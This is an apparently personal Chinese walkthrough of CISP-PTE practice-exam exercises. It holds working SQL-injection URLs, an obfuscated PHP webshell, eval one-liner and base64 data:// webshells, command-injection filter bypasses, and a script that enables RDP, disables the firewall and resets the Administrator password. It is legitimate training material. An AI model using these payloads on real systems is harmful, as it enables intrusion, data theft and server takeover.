开头
最近在考CISP-PTE然后发现网上的题解好像都有点老了,于是不自量力来写一个题解,部分是参考CISP-PTE八套真题详解(侵删)_pte真题-CSDN博客写的,部分是自己的理解与老师的讲解。
sql注入
第一题
进来可以看到是一篇文章带上过滤代码,过滤--和#,然后注入点应该是uuid那个值
于是开始考虑绕过过滤,这里采用闭合引号的方式,发现可以正常的回显。
但是这里发现order by测不出来有多少列,于是决定上union select
http://211.103.180.146:11708/start/index.php?uuid=1' order by '99
这里测到6发现数据正常回显,并出现2,3两个点可以操作
http://211.103.180.146:11708/start/index.php?uuid=1' union select '1','2','3','4','5','6
直接开始注入三板斧(爆库,爆表,爆列),先爆库名,为wasjcms
http://211.103.180.146:11708/start/index.php?uuid=1' union select '1','2',(select database()),'4','5','6
再爆表名,发现flag表
http://211.103.180.146:11708/start/index.php?uuid=1' union select '1','2',(select group_concat(table_name) from information_schema.tables where table_schema='wasjcms'),'4','5','6
最后爆列(字段)名,得到id,flag两个字段
http://211.103.180.146:11708/start/index.php?uuid=1' union select '1','2',(select group_concat(column_name) from information_schema.columns where table_name='flag'),'4','5','6
直接查询字段得到答案
http://211.103.180.146:11708/start/index.php?uuid=1' union select '1','2',(select flag from flag),'4','5','6
第二题
上来就是一个登录框,本来以为是注入点试了好久,但是发现根本没有反应 (QwQ),于是尝试用万能账户密码登录。
发现用万能账户可以但是密码不行(因为没有提示用户不存在而是提示密码不对)
返回后发现如果用户正确密码不对则验证码不变
于是抓包进行爆破(我本地的字典都比较大而且考试会给字典所以就象征性演示一下)
发现123456这一项显然不同(猜测直接重定向到后台了)
故用万能用户加上密码123456登录
账户 1' or 1=1 #
密码 123456
登录到后台页面(好像直接访问 URL/?m=home也是后台页面应该是通过m参数来访问页面)
由于什么防御都没作所以应该能输入数据就是注入点,找了一个搜索框,回显太不明显了,果断放弃。
于是换成了一个回显明显一点的编辑的地方
http://211.103.180.146:10454/?m=record&o=edit&rid=1
用order by测出来有13个字段
http://211.103.180.146:10454/?m=record&o=edit&rid=1' order by 13 --+
通过union select发现有8 9 11 三个点可以注入(rid值给-1是为了使前面的sql语句查不到正确的结果好使回显变成我们语句的结果)
http://211.103.180.146:10454/?m=record&o=edit&rid=-1' union select '1','2','3','4','5','6','7','8','9','10','11','12','13' --+
开始三板斧
爆库,库名是patient
http://211.103.180.146:10454/?m=record&o=edit&rid=-1' union select '1','2','3','4','5','6','7','8','9','10',(select database()),'12','13' --+
爆表
http://211.103.180.146:10454/?m=record&o=edit&rid=-1' union select '1','2','3','4','5','6','7','8','9','10',(select group_concat(table_name) from information_schema.tables where table_schema='patient'),'12','13' --+
找了半天发现没有flag,听老师讲了才知道题目一般会给flag的位置直接读就行 (QwQ)
说是是读取网站根目录下(/var/www/html)的key.flag,直接load_file读取
http://211.103.180.146:10454/?m=record&o=edit&rid=-1' union select '1','2','3','4','5','6','7','8','9','10',(load_file("/var/www/html/key.flag")),'12','13' --+
第三题
进来看是一个文件管理系统
这题的注入点也有很多,但是能用的没几个,如以下这个输入框
经过测试发现存在报错注入
http://211.103.180.146:15288/search.php?keywords=1' and updatexml(1,(concat(0x7e,(select database()),0x7e)),1)--+&button=%E6%90%9C%E7%B4%A2
但是经过进一步的测试发现这个地方限制了sql语句的长度,所以果断转点
http://211.103.180.146:15288/search.php?keywords=1' and updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='cms'),0x7e)),1)--+&button=%E6%90%9C%E7%B4%A2
换到这个文章的查看页面
经过测试发现这个地方是数值型的注入点
http://211.103.180.146:15288/show.php?id=35 or 1=1--+
于是开始用order by看这有几个字段,经过测试发现有15个字段
http://211.103.180.146:15288/show.php?id=35 order by 15--+
然后就是经典套路union select 找可利用的回显点然后三板斧了,发现可以用的有 3 11 两个点
http://211.103.180.146:15288/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
由于库名刚刚的搜索框已经爆出来了,所以这里直接爆表,但是出现了以下报错
http://211.103.180.146:15288/show.php?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='cms'),4,5,6,7,8,9,10,11,12,13,14,15--+
我看不懂不要紧,deepseek看的懂就行了,这里说是字符集的问题,既然默认的UTF-8不行而且中文又那么多,就直接用GBK
用了GBK之后数据正常回显
http://211.103.180.146:15288/show.php?id=-1 union select 1,2,(select group_concat(convert(table_name using gbk)) from information_schema.tables where table_schema='cms'),4,5,6,7,8,9,10,11,12,13,14,15--+
发现cms_flag表,直接去爆它的字段,发现就只有一个flag字段
http://211.103.180.146:15288/show.php?id=-1 union select 1,2,(select group_concat(convert(column_name using gbk)) from information_schema.columns where table_name='cms_flag'),4,5,6,7,8,9,10,11,12,13,14,15--+
接下来就直接查询就行了
http://211.103.180.146:15288/show.php?id=-1 union select 1,2,(select group_concat(convert(flag using gbk)) from cms_flag),4,5,6,7,8,9,10,11,12,13,14,15--+
第四题
进来就是注入点估计是加的有过滤
发现不仅把#过滤了还把空格过滤了,井号直接用%23绕过,空格用/**/注释来绕过
http://211.103.180.146:16392/sqli2.php?id=1' or 1=1%23
绕过成功
http://211.103.180.146:16392/sqli2.php?id=1')/**/or/**/1=1%23
开始用order by来爆字段数,测得字段数为四
http://211.103.180.146:16392/sqli2.php?id=1')/**/order/**/by/**/4%23
然后就是经典套路了,但是发现union也被过滤了
http://211.103.180.146:16392/sqli2.php?id=-1')/**/union/**/select/**/1,2,3,4/**/%23
尝试用双写进行绕过,成功,并且得到 2 3 4 三个注入点
http://211.103.180.146:16392/sqli2.php?id=-1')/**/uunionnion/**/select/**/1,2,3,4/**/%23
之后就直接按题目说的读取文件就行了
得到结果
http://211.103.180.146:16392/sqli2.php?id=-1')/**/uunionnion/**/select/**/1,load_file('/tmp/key.flag'),3,4/**/%23
第五题
进来是一个类似于博客的系统而且提示要进行二次注入
点击发表文章后发现要先登录(经过测试不是登录二次注入)于是先注册一个账户然后登录进去发表一篇文章看看真假
发现是用POST进行数据传输而且参数是title和content,猜测可能是注入点
测试了一下常用的测试语句发现出来了不少东西
针对报错信息进行分析,NOW()是 MySQL/MariaDB 中用于获取当前日期和时间的函数。
对猜测进行验证,用后面的content是怕用前面的会把后面的语句注释了,证明猜测正确
title=123&content=1','12','123','2025-03-08 02:20:26')#
直接开始注入,但是发现第三个参数好像是隐藏字段不是文章标题
title=123&content=1','12',(select database()),'2025-03-08 02:20:26')#
爆出库名是php_test,接下来爆表
title=123&content=1',(select group_concat(table_name) from information_schema.tables where table_schema='php_test'),'xxxx','2025-03-08 02:20:26')#
然后分别爆字段名
title=123&content=1',(select group_concat(column_name) from information_schema.columns where table_name='users'),'xxxx','2025-03-08 02:20:26')#
title=123&content=1',(select group_concat(column_name) from information_schema.columns where table_name='articles'),'xxxx','2025-03-08 02:20:26')#
然后直接查,结果报了个错,意思大概是不能把插入和查询两个操作同时作用于articles这个表上
那就先看另一个表如果那个表里面没flag再想办法解决,这里要注意大小的字段名一般是数据库自动创建的不用看看小写的就行了,发现flag。
title=123&content=1',(select group_concat(id,username,password,created_at) from users),'xxxx','2025-03-08 02:20:26')#
第六题
题目说直接登录admin账户就行了
尝试万能密码
账户 admin
密码 admin '='
直接成功
这里给出deepseek给的原理
第七题(SQL注入怎么这么多题)
也是让我们登录admin
进入答题页面发现是一个二阶注入
应该是直接去修改admin账户的密码,所以注册一个admin’ #的账户并登录发现果然可以修改密码
改了密码直接登录admin账户即可(原理可以去百度在这里不细讲)
文件上传
没有一刻为SQL注入的结束而悲伤立刻来到战场的是文件上传
文件上传题无非就是后缀名检测,MIME类型检测,文件头检测,内容检测这几个所以只要一次性把这几个方面全做了基本上就可以直接通杀了。
第一题
上传免杀马
首先我们先看一看给的免杀马长什么样。
<?php
$mt="mFsKCleRfU";
$ojj="IEBleldle";
$hsa="E9TVFsnd2VuJ10p";
$fnx="Ow==";
$zk = str_replace("d","","sdtdrd_redpdldadcde");
$ef = $zk("z", "", "zbazsze64_zdzeczodze");
$dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn");
$zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm();
?>
看不懂就对了,虽然可以自己手动拼接但是很费时间,所以直接上deepseek,可以看到把上面的代码拼接并替换解密后可以得到一个函数并在后面执行,效果就是一个wen为密码的一句话木马
先上传一个正常的文件看能否上传
发现成功上传,而且得到上传文件的路径(白羽可爱捏)
于是抓包做了以下处理
但是上传失败,应该是后缀的问题
这里为了方便后面做题先做一个图片马,随便找一个不是很大的图片(直接截一张纯白的图就行)然后windows下直接用cmd就可以做
再试着上传我们做的图片马并改后缀,由于不知道服务器是什么系统所以先试试大小写绕过
直接成功
上蚁剑连接,找到flag
第二题
还是先上传一张正常的看路径
直接上传刚刚做好的图片马改了一下后缀直接成功,推测是没检测后缀名
测试成功,直接连接拿flag
第三题
老样子先上传一张正常的图片看看深浅,发现这次没给文件的上传路径,可以目录扫描去扫,但是常用的就那几个 upload uploadfiles Upload... 直接试也行
试出来路径是 URL/upload/文件名
然后试着上传我们的图片马,后缀名直接用大小写去绕过,上传成功
连接拿flag
第四题
老样子先看上传路径,发现这题也没给,但是在upload路径下发现上传的图片
然后试着上传我们的图片马,得到了以下反馈,看来这一题是内容检测
这里猜测应该是过滤了 '?php' ,但是并没有过滤 ’php’ ,所以考虑用phtml(类似于html但是支持php语音)来绕过过滤
先写一个木马,代码写法类似于js在html的代码写法,写好后用上面做图片马的方法做成图片马后改后缀为phtml上传,成功。
<script language='php'> eval($_POST['wen']); </script>
直接蚁剑连接拿flag
第五题
老套路先找上传路径
然后直接上传我们刚刚做的phtml图片马,直接拿下
连接拿flag
题外话
其实直接用免杀马加phtml应该就能把所有题都过了,想试的可以试试
代码审计
第一题
拿到如图所示的代码,打眼一看应该是一个代码执行
进行尝试成功
直接读flag.cisp123文件即可
第二题
分析一下代码,用GET传参且长度不能超过30个字符
做法有很多,我是直接用find去找flag文件,发现在当前目录下就有
http://211.103.180.146:19251/?1=find / *flag*
直接读取
第三题
分析一下代码,是一个很简单的反序列化,只要传入str参数为 "CISP" 字符串的序列化字符串就行了
传入后直接拿到flag,s是字符串的意思4是字符串的长度记得后面要加分号
http://211.103.180.146:17574/vul/index.php?str=s:4:"CISP";
第四题
这题代码还挺长的要一点点分析
分析结果如下
<?php
$v1 = 0;
$v2 = 0;
//GET方式接收w参数然后以json方式解码并得到一个数组所以我们要传入json数据
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {
// 检测bar1是不是数字如果是数字则直接停止程序
is_numeric(@$a["bar1"]) ? die("nope") : NULL;
if (@$a["bar1"]) {
// bar1的值是不是大于2020如果大于2020则把v1赋值为1
($a["bar1"] > 2020) ? $v1 = 1 : NULL;
}
if (is_array(@$a["bar2"])) {
// bar2的元素是否有五个,且bar2的第一个元素是否为数组
if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
die("nope");
}
// bar3里面是数组且有cisp-pte这个值
$pos = array_search("cisp-pte", $a["bar3"]);
$pos === false ? die("nope") : NULL;
// bar2不能有cisp-pte这个值
foreach ($a["bar2"] as $key => $val) {
$val == "cisp-pte" ? die("nope") : NULL;
}
$v2 = 1;
}
}
// v1和v2为1则输出flag
if ($v1 && $v2) {
include "key.php";
echo $key;
}
highlight_file(__file__);
?>
于是我们开始构建payload,bar1我们可以用16进制数进行绕过余下的两个按照题意构造即可
{"bar1":"2025x","bar2":[[0],1,2,3,4],"bar3":["cisp-pte"]}
得到flag
命令执行
第一题
经典的ping命令题
利用管道符可直接执行后面的命令,由于不知道key.flag是在服务器还是在网站的根目录下直接find寻找然后ctrl+f在页面中查找key.flag
确定当前目录的位置
估计cat已经被过滤了所以直接sed读取
127.0.0.1|se''d ' ' ../key.flag
查看源码得到flag
第二题
题目直接给出了flag的文件名、flag所在位置和服务器类型
直接sed读取
第三题
过滤了php直接上通配符
第四题
先ls看有什么,发现了一个key.php
读取key.php文件并在源码中看到flag的路径
直接sed读取flag
日志分析
日志分析主要考的是正则查找异常数据
第一题
看别人的博客可以一句正则查找来找到但是我正则不是很好于是就找目标IP和200的状态码就行
172\.16\.12\.12 -.* 200
逐个查找发现有大量访问 /adminlogin.php 路径的记录猜测是进行密码的爆破
于是模仿攻击者对页面进行爆破,发现一个密码的返回长度不同
拿密码登录后拿到flag
第二题
日志分析我是真的不怎么会所以这里直接用另一个师傅的做法,就是直接筛掉所以的正常访问只看异常访问即可找到一个后门路径
^.*"[A-Z]+ /(?!/?(index|manage|footer|upload)).*\.php.*" 200
得到答案
文件包含
第一题
进入答题后看到这样一个页面,就试着去试试file进行文件包含但是一直是error所以就想去看看view.php这个文件
查看view.php文件发现其中有php代码,逻辑大概是要有一个 ’Hello’ 参数值随意,然后还有一个 ‘z0’ 参数传入base64的代码即可执行
于是回到原页面进行代码执行将 system('find / *flag*'); base64编码并执行查找flag(结果在源代码里面)
然后直接读取
第二题
进入题目可以看到页面包含的文件是 page 参数的值加上后缀 .txt 题目说flag在根目录下的 flag.php 中于是尝试去用00截断,但失败了
后来又想了一下好像也不知道 flag 的确切位置所以决定直接用 data 伪协议写一个一句话木马方便寻找,但是发现把 data:// 过滤了。
尝试了几次之后构造出了绕过的语句
http://211.103.180.146:10250//start/index.php?page=datadata://://text/plain,<?php phpinfo();?>
接下来就直接写入一句话木马然后连接就行了
http://211.103.180.146:10250//start/index.php?page=datadata://://text/plain,<?php @eval($_POST['c'])?>
连接成功后直接读取flag
第三题
进来后是这样的页面,很明显 file 参数就是文件包含的漏洞点
直接用 php 伪协议包含出目标文件,解密后拿到flag
http://211.103.180.146:19630/vul/include.php?file=php://filter/read=convert.base64-encode/resource=../key.flag
第四题
进入题目并按照提示输入后可看到以下页面,其中即给出了包含用的函数为 include 也给出了 index.php 的位置
现在我们不知道文件的名字所以正常来说是读取不了的(但其实可以猜名字),于是决定上传一个一句话木马直接连接寻找,但是上传测试代码却显示利用失败猜测可能是有内容检测。
于是利用 data 协议可以进行 base64 加密的特性直接加密上传,成功
http://211.103.180.146:13693/index.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==
开始传马,然后连接
http://211.103.180.146:13693/index.php?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4=
找到flag(这个后缀也确实猜不出来)
综合题
第四题
首先启动环境后可以拿到一个 ovpn 文件,这是一个openvpn的配置文件可以连接到靶机的内网环境,先连接上环境接下来就可以做题了
先打开网站发现是一个登录页面
这里可以进行用户名和密码的爆破,同时我们还可以去扫描端口和目录,找到了3389(windows远程连接的端口)和 phpmyadmin(数据库管理系统) 的目录
先到phpmyadmin这个页面去看看,发现还是个登录页面,继续进行弱口令的爆破
结果在爆破的时候顺便试了一下 phpmyadmin 的密码结果一下就试出来了是 123456 进来了之后看看内部的数据库结构,发现有一个网站自己的数据库
点进去一个一个看,在system表里面发现 flag 和 admin 的账号和密码
于是在这里我们可以直接改密码就没有爆破的必要了,这里的密码加密是MD5(考试里面也就那几个加密 md5 md5加密两次 sha1 sha1两次 找工具检测一下就行了)于是我们把 123456 加密为MD5 并改写原来的密码
改完了直接用新的账号和密码登录进去,后来发现好像目录扫描直接扫描到了这个页面而且好像能直接访问这样好像也可以,但是我没看到(QAQ)
发现是一个文件上传的系统,没什么说的直接传我们之前做好的图片马,发现甚至连后缀都没检测
直接访问我们上传的图片马,并用蚁剑进行连接在网站的根目录下找到了flag2
然后一般最后一个 flag 如果靶机是 windows 的话一般在桌面或者垃圾桶里面,一般的做法是开启 3389 端口服务,然后去关闭防火墙,然后重置 Administrator 的密码后远程登录(网站给的权限是system),这里提供一个开启 3389 端口服务的 bat 脚本(考试会提供类似脚本)
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
然后用蚁剑上传到服务器并在虚拟终端运行,然后执行两条命令分别是关闭防火墙与重置密码
netsh firewall set opmode disable
net user Administrator Abc1234!
最后用 win+R 并输入 mstsc 打开远程桌面并进行连接用户名是 Administrator 密码是刚刚自己设置的,连接上去后在垃圾桶找到 flag
到此三个flag全部找到,顺便来总结一下思路
思路
1.先对拿到的 IP 进行目录和端口扫描并进去看看是什么界面
2.遇到登录界面就可以尝试着用暴力破解试试,不行就在数据库里去改密码
3.通过文件上传,文件包含等方式拿到靶机的 shell
4.如果是 windows 的靶机就去打开 3389 端口的服务,关闭防火墙,改密码然后登录上去;如果是Linux 的机器一般是用 sudo 或 suid 去提权然后读取文件。
5.三个flag一般分别在 数据库 网站目录 桌面或根目录 这几个地方
第一题
先进去看到是一个挂号系统,还是先进行端口和目录扫描
发现扫到了不少有用的东西,通过111端口判断靶机的系统应该是 Linux 的系统
先去访问目录扫描扫到的 index.php,发现了一个熟悉的页面,怎么过的详细过程可以去看SQL注入的第二题(给的密码是123456)
登录进去后拿到第一个key
档案管理处发现了一个可以上传文件的地方,但是却传不了文件
接下来大概的思路大概是去爆破 22 端口的 ssh 的用户名和密码然后直接 ssh 连接后找到第二个flag 然后 sudo 用特权用户读到第三个flag,但是我没有合适的子字典于是就先放一下